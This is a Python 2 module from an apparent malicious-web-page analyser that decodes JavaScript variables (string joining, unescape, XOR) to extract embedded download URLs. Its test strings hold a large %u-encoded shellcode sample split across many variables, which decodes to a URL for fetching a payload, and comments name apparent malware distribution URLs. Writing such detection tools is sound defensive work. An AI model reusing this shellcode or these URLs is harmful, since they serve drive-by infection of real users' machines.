from decode.string         import *
from decode.link         import *
from decode.unescape import *
from decode.xor import *
from malnode import node
import re
def get_url(data):
    findindex=data.find("http")
    print findindex
class js_var(object):
    def __init__(self,v):
        self.l=v[0]
        self.r=v[1]
    def assemble(self):
        line=''
        split_str=r'"+"'
        sp=self.r.split(split_str)
        for v in sp:line+=v
        return line
        
def get_embedded_url(page):    
    vars=get_var(page)
    urls=[]
    for var in vars:
        print var
        jsvar=js_var(var)            
        line=jsvar.assemble()
        get_embedded_line(line,urls)
    return urls;   
                
def get_embedded_line(page,urls):    
    try:
        strings = get_str(page)
        url=http1(strings)
        if url!=None:
            urls.append(url)
            return url
    except:
        pass   
    
    try:upage=unescape(page)
    except: return None
    try:
        get_url(upage)
        url=http1(upage)
        if url!=None:
            urls.append(url)
            return url
    except:
        pass
    
    try:
        upage = check_xor(page)
        url=http1(upage)
        if url!=None:
            urls.append(url)
            return url
        
    except:
        pass
    
    return None
        
def get_var(data):
    p=re.compile(r"(.*?)=(.*?);")
    ret=p.findall(data)
#    print ret
    return ret

class node_script(node):
    def get_child(self):
        node.get_child(self)
        try:
            urls=get_embedded_url(self.page)
            for url in urls:
                c = node.new(self,'driven', url)
                self.child.append(c)
        except:
            pass        
        return self.child
#xxx=r'''YTJJH='http://hfdihq.8800.org/asuhd/asuhd.css';'''    
xxx=r'''var akfljalj;
var AH00="%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF";
var AH01="%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1";
var AH02="%uD536%u36B5"+"%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%u";
var AH03="D5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8";
var AH04="%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u";
var AH05="7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355";
var AH06="%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%u";
var AH07="CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4";
var AH08="%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%u";
var AH09="BDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44";
var AH0a="%uBEB9%uDBE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u";
var AH0b="8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD";
var AH0c="%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%u";
var AH0d="BCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD";
var AH0e="%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%u";
var AH0f="BDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909";
var AH10="%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u";
var AH11="7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD";
var AH12="%u36BD%uDDFB"+"%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%u";
var AH13="CB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5";
var AH14="%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u";
var AH15="34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED";
var AH16="%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%";
var AH17="u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB";
var AH18="%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%";
var AH19="uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE";
var AH1a="%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u";
var AH1b="36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD";
var AH1c="%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%";
var AH1d="u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5";
var AH1e="%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%";
var AH1f="uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A";
var AH20="%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u";
var AH21="36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD";
var AH22="%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%u";
var AH23="BDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642";
var AH24="%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%u";
var AH25="ADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8";
var AH26="%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%u";
var AH27="B266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8"+"%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%u"+"E316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5"+"%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%u"+"A376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230"+"%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE"+"%ud5db%uC9C9%u87CD%u9292%uCDCD%u93DA%uC8C8%u93DF%uDEDE%uD192%uC592%u93C5%uC5D8%uBDD8%uBD"+"%"+"u"+"BD"+"BD"+"%"+"u"+"B"+"D"+"BD"+"%"+"u"+"B"+"D"+"BD"+"%u"+"BD"+"BD"+"%u"+"BD"+"BD"+"%u"+"BD"+"BD"+"%u"+"BD"+"BD"+"%u"+"BD"+"BD"+"%u"+"EAEA";
'''
yyyy=r'''var AH27="B266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8"+"%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%u"+"E316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5"+"%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%u"+"A376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230"+"%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud8c9%ucdd0%ud493%ud0ce%ud9c4%uced3%ude93%ud0d2%ude93%u92d3%uc4ce%u92ce%ud2d9%ud3ca%ude93%ucece%ubdbd%uEAEA%uEAEA%uEAEA%uEAEA";'''
#print get_embedded_url(r"loveanhey='http://temp.ismydns.com.cn/sys/down.css';") 
#urls=[]   
#print get_embedded_line('%u9292%ude93%ucece%ubdbd%uEAEA', urls)
#print get_embedded_url("%ud5db%uC9C9%u87CD%u9292%uCDCD%u93DA%uC8C8%u93DF%uDEDE%uD192%uC592%u93C5%uC5D8%uBDD8%uBD")
#("%u93C5%uC5D8%uBDD8%uBD")    
   
     
        